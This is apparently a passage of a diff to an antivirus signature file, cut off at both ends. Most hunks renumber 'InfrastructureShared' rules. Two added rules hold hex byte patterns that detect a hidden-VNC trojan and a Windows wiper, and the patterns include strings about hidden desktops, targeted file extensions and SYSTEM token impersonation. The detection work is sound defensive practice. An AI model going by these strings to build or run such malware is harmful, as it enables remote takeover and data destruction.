1)*28524+(#a_55_6 & 1)*29285+(#a_01_7 & 1)*28265+(#a_65_8 & 1)*25185+(#a_67_9 & 1)*28258+(#a_53_10 & 1)*8993+(#a_75_11 & 1)*22785+(#a_54_12 & 1)*28281+(#a_79_13 & 1)*28483+(#a_65_14 & 1)*29301+(#a_5f_15 & 1)*25956) >=17 } -rule _InfrastructureShared_19523{ +rule _InfrastructureShared_20727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -242117,7 +257037,7 @@ rule _InfrastructureShared_19523{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*25954+(#a_65_2 & 1)*29289+(#a_73_3 & 1)*26224+(#a_67_4 & 1)*27762+(#a_65_5 & 1)*28524+(#a_01_6 & 1)*2048+(#a_6f_7 & 1)*385+(#a_67_8 & 1)*30050+(#a_00_9 & 1)*1) >=10 } -rule _InfrastructureShared_19524{ +rule _InfrastructureShared_20728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -242141,7 +257061,7 @@ rule _InfrastructureShared_19524{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25711+(#a_73_2 & 1)*21603+(#a_79_3 & 1)*28483+(#a_65_4 & 1)*29301+(#a_5f_5 & 1)*25956+(#a_00_7 & 1)*46+(#a_00_8 & 1)*101+(#a_2d_9 & 1)*2305+(#a_00_10 & 1)*1+(#a_53_11 & 1)*8993+(#a_00_13 & 1)*47+(#a_00_15 & 1)*101+(#a_00_16 & 1)*101+(#a_00_18 & 1)*47) >=20 } -rule _InfrastructureShared_19525{ +rule _InfrastructureShared_20729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -242159,7 +257079,7 @@ rule _InfrastructureShared_19525{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*10596+(#a_54_2 & 1)*22597+(#a_90_3 & 1)*29486+(#a_61_4 & 1)*281+(#a_03_5 & 1)*2+(#a_01_6 & 1)*2+(#a_03_7 & 1)*2+(#a_e0_8 & 1)*0) >=2 } -rule _InfrastructureShared_19526{ +rule _InfrastructureShared_20730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -242172,7 +257092,7 @@ rule _InfrastructureShared_19526{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*95+(#a_00_4 & 1)*47+(#a_00_5 & 1)*118) >=4 } -rule _InfrastructureShared_19527{ +rule _InfrastructureShared_20731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -242187,7 +257107,7 @@ rule _InfrastructureShared_19527{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_00_2 & 1)*51+(#a_00_3 & 1)*83+(#a_00_5 & 1)*104+(#a_2d_6 & 1)*23085) >=4 } -rule _InfrastructureShared_19528{ +rule _InfrastructureShared_20732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -242209,7 +257129,7 @@ rule _InfrastructureShared_19528{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_2e_2 & 1)*28527+(#a_73_3 & 1)*26996+(#a_65_4 & 1)*26950+(#a_55_5 & 1)*14915+(#a_72_6 & 1)*29811+(#a_73_7 & 1)*28261+(#a_6a_8 & 1)*20256+(#a_00_10 & 1)*-7816+(#a_54_12 & 1)*8448+(#a_00_13 & 1)*105+(#a_00_14 & 1)*80) >=16 } -rule _InfrastructureShared_19529{ +rule _InfrastructureShared_20733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0e 00 21 " @@ -242230,7 +257150,7 @@ rule _InfrastructureShared_19529{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*25972+(#a_54_2 & 1)*21586+(#a_57_3 & 1)*3072+(#a_2e_4 & 1)*257+(#a_3a_5 & 1)*25445+(#a_6f_6 & 1)*23649+(#a_00_7 & 1)*111+(#a_65_8 & 1)*6144+(#a_00_10 & 1)*116+(#a_00_11 & 1)*68+(#a_00_13 & 1)*115) >=6 } -rule _InfrastructureShared_19530{ +rule _InfrastructureShared_20734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -242246,7 +257166,7 @@ rule _InfrastructureShared_19530{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*67+(#a_00_2 & 1)*46+(#a_00_4 & 1)*115+(#a_00_6 & 1)*120+(#a_28_7 & 1)*847+(#a_29_8 & 1)*28672) >=10 } -rule _InfrastructureShared_19531{ +rule _InfrastructureShared_20735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 11 00 21 " @@ -242268,7 +257188,7 @@ rule _InfrastructureShared_19531{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*28424+(#a_5a_3 & 1)*22850+(#a_00_5 & 1)*48+(#a_61_6 & 1)*385+(#a_6d_7 & 1)*27756+(#a_41_9 & 1)*8448+(#a_42_10 & 1)*19745+(#a_50_11 & 1)*-28625+(#a_61_12 & 1)*29793+(#a_90_13 & 1)*12090+(#a_44_14 & 1)*18000+(#a_34_15 & 1)*29285) >=15 } -rule _InfrastructureShared_19532{ +rule _InfrastructureShared_20736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 0a 00 05 00 21 " @@ -242281,7 +257201,7 @@ rule _InfrastructureShared_19532{ ((#a_46_0 & 1)*16675+(#a_2f_2 & 1)*656+(#a_00_3 & 1)*111+(#a_01_4 & 1)*9284) >=10 } -rule _InfrastructureShared_19533{ +rule _InfrastructureShared_20737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2a 00 2a 00 06 00 21 " @@ -242295,7 +257215,7 @@ rule _InfrastructureShared_19533{ ((#a_70_0 & 1)*16675+(#a_69_1 & 1)*17253+(#a_6c_2 & 1)*24934+(#a_00_3 & 1)*105+(#a_00_5 & 1)*110) >=42 } -rule _InfrastructureShared_19534{ +rule _InfrastructureShared_20738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -242307,7 +257227,7 @@ rule _InfrastructureShared_19534{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*53+(#a_00_3 & 1)*66) >=1 } -rule _InfrastructureShared_19535{ +rule _InfrastructureShared_20739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -242324,7 +257244,7 @@ rule _InfrastructureShared_19535{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*84+(#a_72_3 & 1)*8250+(#a_00_5 & 1)*109+(#a_5c_6 & 1)*29537+(#a_65_7 & 1)*12108+(#a_31_8 & 1)*12596+(#a_39_9 & 1)*14337) >=1 } -rule _InfrastructureShared_19536{ +rule _InfrastructureShared_20740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -242344,7 +257264,7 @@ rule _InfrastructureShared_19536{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*24885+(#a_00_2 & 1)*13409+(#a_61_3 & 1)*25857+(#a_65_4 & 1)*13357+(#a_01_5 & 1)*25912+(#a_2d_6 & 1)*13105+(#a_64_7 & 1)*14182+(#a_0a_8 & 1)*-28668+(#a_00_9 & 1)*144+(#a_c1_10 & 1)*-2303) >=1 } -rule _InfrastructureShared_19537{ +rule _InfrastructureShared_20741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 15 00 21 " @@ -242373,7 +257293,7 @@ rule _InfrastructureShared_19537{ ((#a_54_0 & 1)*18467+(#a_d0_1 & 1)*2562+(#a_00_3 & 1)*-18430+(#a_61_4 & 1)*28530+(#a_8d_5 & 1)*257+(#a_45_6 & 1)*1025+(#a_c1_7 & 1)*400+(#a_ca_8 & 1)*257+(#a_01_9 & 1)*-28448+(#a_01_10 & 1)*19894+(#a_4d_11 & 1)*24935+(#a_67_12 & 1)*28524+(#a_20_13 & 1)*28257+(#a_6c_14 & 1)*24947+(#a_00_15 & 1)*25701+(#a_6f_16 & 1)*384+(#a_68_17 & 1)*28498+(#a_01_18 & 1)*-28615+(#a_2d_19 & 1)*23085+(#a_19_20 & 1)*1) >=1 } -rule _InfrastructureShared_19538{ +rule _InfrastructureShared_20742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -242384,7 +257304,7 @@ rule _InfrastructureShared_19538{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*27) >=2 } -rule _InfrastructureShared_19539{ +rule _InfrastructureShared_20743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -242400,7 +257320,7 @@ rule _InfrastructureShared_19539{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*14192+(#a_6f_2 & 1)*384+(#a_72_3 & 1)*28233+(#a_64_4 & 1)*24941+(#a_6e_5 & 1)*17267+(#a_19_6 & 1)*29541) >=7 } -rule _InfrastructureShared_19540{ +rule _InfrastructureShared_20744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -242413,7 +257333,7 @@ rule _InfrastructureShared_19540{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*14637+(#a_00_2 & 1)*105+(#a_00_5 & 1)*101) >=1 } -rule _InfrastructureShared_19541{ +rule _InfrastructureShared_20745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -242427,7 +257347,23 @@ rule _InfrastructureShared_19541{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*12597+(#a_30_2 & 1)*12854+(#a_31_3 & 1)*12339+(#a_39_4 & 1)*24885) >=2 } -rule _InfrastructureShared_19542{ +rule _InfrastructureShared_20746{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 77 65 6c 76 65 63 68 69 70 73 47 65 6e 2e 41 00 01 00 36 01 48 00 69 00 64 00 64 00 65 00 6e 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5f 00 43 00 6f 00 6e 00 74 00 72 00 6f } //16675 剅吺潲慪㩮楗㙮⼴睔汥敶档灩䝳湥䄮Ā㘀䠁椀搀搀攀渀䐀攀猀欀琀漀瀀开䌀漀渀琀爀漀 + $a_00_2 = {64 00 6f 00 77 00 01 00 36 01 55 00 73 00 65 00 72 00 20 00 25 00 53 00 20 00 6b 00 69 00 63 00 6b 00 65 00 64 00 20 00 6d 00 61 00 78 00 20 00 25 00 64 00 20 00 75 00 73 00 65 00 72 00 73 00 01 00 22 01 25 00 53 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 20 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 01 00 2e 01 52 00 65 00 } //105 + $a_00_3 = {72 00 73 00 65 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 20 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 3a 00 01 00 4c 01 43 00 6f 00 75 00 6c 00 64 00 20 00 6e 00 6f 00 74 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 74 00 68 00 65 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 20 00 28 00 45 00 72 } //118 + $a_00_5 = {20 00 25 00 64 00 29 00 01 00 1c 01 53 00 74 00 61 00 72 00 74 00 20 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 01 00 18 01 53 00 74 00 61 00 72 00 74 00 20 00 43 00 } //114 + $a_00_6 = {6f 00 6d 00 65 00 01 00 2e 01 53 00 74 00 61 00 72 00 74 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 01 00 1a 01 53 00 74 00 61 00 72 00 74 00 20 00 46 00 69 00 72 00 65 00 66 00 6f 00 78 00 01 00 09 01 48 49 44 44 45 4e 56 4e 43 00 00 78 e4 01 00 06 00 06 00 06 00 21 23 41 } //104 + $a_59_7 = {56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 4d 45 5f 43 61 6d 70 61 69 67 6e 5f 4d 61 6c 77 61 72 65 5f 35 00 01 00 10 01 44 3a 5c 6d 65 5c 64 6f 5c 64 6f 5c 6f 62 6a 5c 01 } //17996 㩖汆牯慩彮潒桴䴯彅慃灭楡湧䵟污慷敲㕟Āက䐁尺敭摜屯潤潜橢Ŝ + $a_53_8 = {65 00 6c } //25600 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_00_3 & 1)*118+(#a_00_5 & 1)*114+(#a_00_6 & 1)*104+(#a_59_7 & 1)*17996+(#a_53_8 & 1)*25600) >=5 + +} +rule _InfrastructureShared_20747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -242440,7 +257376,7 @@ rule _InfrastructureShared_19542{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*102+(#a_2d_3 & 1)*2305+(#a_2d_4 & 1)*14637) >=6 } -rule _InfrastructureShared_19543{ +rule _InfrastructureShared_20748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 08 00 0a 00 21 " @@ -242455,7 +257391,7 @@ rule _InfrastructureShared_19543{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100+(#a_00_4 & 1)*97+(#a_00_5 & 1)*46+(#a_00_6 & 1)*69+(#a_00_8 & 1)*111) >=8 } -rule _InfrastructureShared_19544{ +rule _InfrastructureShared_20749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -242468,7 +257404,7 @@ rule _InfrastructureShared_19544{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*108+(#a_00_3 & 1)*112+(#a_3f_4 & 1)*-28672) >=11 } -rule _InfrastructureShared_19545{ +rule _InfrastructureShared_20750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -242491,7 +257427,7 @@ rule _InfrastructureShared_19545{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*11841+(#a_2e_3 & 1)*21315+(#a_43_4 & 1)*6912+(#a_64_5 & 1)*21550+(#a_65_6 & 1)*25167+(#a_00_7 & 1)*108+(#a_73_8 & 1)*25971+(#a_20_9 & 1)*26997+(#a_74_10 & 1)*11552+(#a_61_11 & 1)*8292+(#a_6f_12 & 1)*21562+(#a_65_13 & 1)*25972+(#a_64_14 & 1)*25700) >=15 } -rule _InfrastructureShared_19546{ +rule _InfrastructureShared_20751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -242507,7 +257443,7 @@ rule _InfrastructureShared_19546{ ((#a_70_0 & 1)*16675+(#a_20_2 & 1)*26708+(#a_6f_3 & 1)*25953+(#a_73_4 & 1)*29741+(#a_64_5 & 1)*24864+(#a_49_6 & 1)*-32495+(#a_67_7 & 1)*25189) >=1 } -rule _InfrastructureShared_19547{ +rule _InfrastructureShared_20752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -242525,7 +257461,7 @@ rule _InfrastructureShared_19547{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25970+(#a_67_2 & 1)*29548+(#a_61_3 & 1)*28757+(#a_68_4 & 1)*26726+(#a_00_5 & 1)*66+(#a_6f_6 & 1)*385+(#a_5c_7 & 1)*385+(#a_61_8 & 1)*29548) >=9 } -rule _InfrastructureShared_19548{ +rule _InfrastructureShared_20753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -242546,7 +257482,7 @@ rule _InfrastructureShared_19548{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29801+(#a_65_2 & 1)*25956+(#a_66_3 & 1)*21249+(#a_6f_4 & 1)*28265+(#a_35_5 & 1)*14645+(#a_6d_6 & 1)*25970+(#a_00_7 & 1)*109+(#a_00_8 & 1)*112+(#a_70_9 & 1)*29549+(#a_73_10 & 1)*25345+(#a_02_11 & 1)*-28636) >=12 } -rule _InfrastructureShared_19549{ +rule _InfrastructureShared_20754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0e 00 21 " @@ -242569,7 +257505,7 @@ rule _InfrastructureShared_19549{ ((#a_4c_0 & 1)*21539+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_02_8 & 1)*1+(#a_02_9 & 1)*1+(#a_02_10 & 1)*1+(#a_02_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1) >=12 } -rule _InfrastructureShared_19550{ +rule _InfrastructureShared_20755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 10 00 21 " @@ -242592,7 +257528,7 @@ rule _InfrastructureShared_19550{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-29880+(#a_83_2 & 1)*257+(#a_10_3 & 1)*21641+(#a_04_4 & 1)*-28539+(#a_90_5 & 1)*-4989+(#a_48_7 & 1)*5376+(#a_24_8 & 1)*-29880+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_e6_11 & 1)*0+(#a_2d_12 & 1)*23085+(#a_39_13 & 1)*9014+(#a_25_14 & 1)*25637) >=2 } -rule _InfrastructureShared_19551{ +rule _InfrastructureShared_20756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -242607,7 +257543,7 @@ rule _InfrastructureShared_19551{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_30_3 & 1)*300+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1) >=4 } -rule _InfrastructureShared_19552{ +rule _InfrastructureShared_20757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -242623,7 +257559,7 @@ rule _InfrastructureShared_19552{ ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*80+(#a_00_4 & 1)*101+(#a_75_5 & 1)*28484+(#a_90_6 & 1)*25185+(#a_72_7 & 1)*14918+(#a_64_8 & 1)*30319) >=5 } -rule _InfrastructureShared_19553{ +rule _InfrastructureShared_20758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0a 00 0c 00 21 " @@ -242641,7 +257577,7 @@ rule _InfrastructureShared_19553{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28532+(#a_6d_2 & 1)*25970+(#a_ca_3 & 1)*-26795+(#a_ca_4 & 1)*6004+(#a_00_6 & 1)*32+(#a_00_8 & 1)*46+(#a_01_10 & 1)*4+(#a_01_11 & 1)*4) >=10 } -rule _InfrastructureShared_19554{ +rule _InfrastructureShared_20759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -242655,7 +257591,7 @@ rule _InfrastructureShared_19554{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*8+(#a_01_3 & 1)*4+(#a_01_4 & 1)*4+(#a_01_5 & 1)*2) >=12 } -rule _InfrastructureShared_19555{ +rule _InfrastructureShared_20760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -242668,7 +257604,7 @@ rule _InfrastructureShared_19555{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105+(#a_00_3 & 1)*109+(#a_00_4 & 1)*43) >=12 } -rule _InfrastructureShared_19556{ +rule _InfrastructureShared_20761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -242687,7 +257623,7 @@ rule _InfrastructureShared_19556{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25938+(#a_31_2 & 1)*12608+(#a_65_3 & 1)*29806+(#a_6d_4 & 1)*29485+(#a_52_6 & 1)*21320+(#a_48_8 & 1)*8961+(#a_66_9 & 1)*23662+(#a_66_10 & 1)*21249+(#a_73_11 & 1)*-32497) >=12 } -rule _InfrastructureShared_19557{ +rule _InfrastructureShared_20762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -242709,7 +257645,7 @@ rule _InfrastructureShared_19557{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24936+(#a_65_2 & 1)*25708+(#a_61_3 & 1)*29798+(#a_2e_4 & 1)*29797+(#a_65_5 & 1)*25938+(#a_72_6 & 1)*28531+(#a_72_7 & 1)*11897+(#a_61_8 & 1)*24909+(#a_74_9 & 1)*29797+(#a_24_10 & 1)*15104+(#a_c1_11 & 1)*9324+(#a_00_12 & 1)*144) >=13 } -rule _InfrastructureShared_19558{ +rule _InfrastructureShared_20763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -242734,7 +257670,7 @@ rule _InfrastructureShared_19558{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*1+(#a_65_2 & 1)*24912+(#a_4c_3 & 1)*7424+(#a_79_4 & 1)*24946+(#a_75_5 & 1)*29541+(#a_2e_6 & 1)*24943+(#a_ff_7 & 1)*892+(#a_01_8 & 1)*-7295+(#a_ff_9 & 1)*9308+(#a_72_10 & 1)*25970+(#a_4e_11 & 1)*29281+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1) >=16 } -rule _InfrastructureShared_19559{ +rule _InfrastructureShared_20764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 0d 00 05 00 21 " @@ -242747,7 +257683,7 @@ rule _InfrastructureShared_19559{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*257+(#a_8b_2 & 1)*400+(#a_e7_4 & 1)*12324) >=13 } -rule _InfrastructureShared_19560{ +rule _InfrastructureShared_20765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 10 00 21 " @@ -242769,7 +257705,7 @@ rule _InfrastructureShared_19560{ ((#a_6c_0 & 1)*16675+(#a_50_1 & 1)*-32436+(#a_2c_2 & 1)*29537+(#a_53_3 & 1)*18780+(#a_72_4 & 1)*29559+(#a_6f_5 & 1)*16979+(#a_00_7 & 1)*117+(#a_00_8 & 1)*47+(#a_00_10 & 1)*102+(#a_00_11 & 1)*97+(#a_00_12 & 1)*111+(#a_3a_13 & 1)*17744+(#a_00_15 & 1)*32) >=25 } -rule _InfrastructureShared_19561{ +rule _InfrastructureShared_20766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -242783,7 +257719,7 @@ rule _InfrastructureShared_19561{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46+(#a_00_4 & 1)*100+(#a_00_6 & 1)*103+(#a_76_7 & 1)*308) >=2 } -rule _InfrastructureShared_19562{ +rule _InfrastructureShared_20767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -242795,7 +257731,20 @@ rule _InfrastructureShared_19562{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*53+(#a_00_4 & 1)*32) >=5 } -rule _InfrastructureShared_19563{ +rule _InfrastructureShared_20768{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {44 6f 53 3a 57 69 6e 36 34 2f 44 72 61 67 6f 57 69 70 65 72 2e 49 21 64 68 61 00 01 00 70 01 2e 74 78 74 00 00 00 00 2e 6a 70 67 00 00 00 00 2e 6a 70 65 67 00 00 00 2e 70 6e 67 00 00 00 00 2e 67 69 66 00 00 00 00 2e 62 6d 70 00 } //16675 + $a_00_2 = {00 00 2e 70 64 66 00 00 00 00 2e 64 6f 63 00 00 00 00 2e 64 6f 63 78 00 00 00 2e 78 6c 73 00 00 00 00 2e 78 6c 73 78 00 00 00 2e 70 70 74 00 00 00 00 2e 70 70 74 78 00 00 00 01 00 38 01 5d 00 20 00 53 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6c 00 6c 00 79 00 20 00 69 00 6d 00 70 00 65 00 72 00 } //26217 + $a_00_3 = {6e 00 61 00 74 00 65 00 64 00 20 00 01 00 34 01 5b 00 2d 00 5d 00 20 00 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 69 00 6d 00 70 00 65 00 72 00 73 00 6f 00 6e 00 61 00 74 00 65 00 20 00 01 00 32 01 5b 00 2d 00 5d 00 20 00 44 00 75 00 70 00 6c 00 69 00 63 00 61 00 74 00 65 00 54 00 6f 00 6b 00 65 00 6e 00 45 00 78 } //115 + $a_00_5 = {20 00 01 00 58 01 5b 00 2d 00 5d 00 20 00 53 00 65 00 74 00 54 00 68 00 72 00 65 00 61 00 64 00 54 00 6f 00 6b 00 65 00 6e 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 20 00 66 00 6f 00 72 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 20 00 74 00 6f 00 6b 00 65 00 6e 00 3a 00 20 00 01 00 40 01 5b 00 2d 00 5d 00 20 00 49 00 6d 00 70 00 65 00 } //111 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*26217+(#a_00_3 & 1)*115+(#a_00_5 & 1)*111) >=6 + +} +rule _InfrastructureShared_20769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -242814,7 +257763,7 @@ rule _InfrastructureShared_19563{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30319+(#a_69_2 & 1)*26926+(#a_25_3 & 1)*-32437+(#a_61_4 & 1)*24942+(#a_2e_5 & 1)*25972+(#a_6c_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_19564{ +rule _InfrastructureShared_20770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -242839,7 +257788,7 @@ rule _InfrastructureShared_19564{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24933+(#a_65_2 & 1)*11885+(#a_69_3 & 1)*11888+(#a_65_4 & 1)*17664+(#a_4c_5 & 1)*-32501+(#a_74_6 & 1)*21348+(#a_2e_7 & 1)*25955+(#a_73_8 & 1)*10229+(#a_6f_9 & 1)*25445+(#a_00_10 & 1)*49+(#a_90_11 & 1)*11617+(#a_00_13 & 1)*101+(#a_00_14 & 1)*98+(#a_4c_15 & 1)*8993+(#a_90_17 & 1)*3840) >=18 } -rule _InfrastructureShared_19565{ +rule _InfrastructureShared_20771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -242865,7 +257814,7 @@ rule _InfrastructureShared_19565{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28005+(#a_74_2 & 1)*20089+(#a_0d_3 & 1)*-8192+(#a_73_4 & 1)*10229+(#a_6f_5 & 1)*25445+(#a_00_6 & 1)*49+(#a_90_7 & 1)*11617+(#a_00_9 & 1)*101+(#a_00_10 & 1)*98+(#a_4c_11 & 1)*8993+(#a_90_13 & 1)*3840+(#a_04_14 & 1)*0+(#a_c7_15 & 1)*9300+(#a_44_17 & 1)*0+(#a_41_18 & 1)*11617+(#a_20_19 & 1)*12035) >=20 } -rule _InfrastructureShared_19566{ +rule _InfrastructureShared_20772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -242878,7 +257827,7 @@ rule _InfrastructureShared_19566{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*30052+(#a_2d_2 & 1)*23085+(#a_00_3 & 1)*97) >=1 } -rule _InfrastructureShared_19567{ +rule _InfrastructureShared_20773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -242890,7 +257839,7 @@ rule _InfrastructureShared_19567{ ((#a_46_0 & 1)*21283+(#a_04_1 & 1)*-28511+(#a_00_2 & 1)*15824) >=1 } -rule _InfrastructureShared_19568{ +rule _InfrastructureShared_20774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -242909,7 +257858,7 @@ rule _InfrastructureShared_19568{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*14637+(#a_2d_3 & 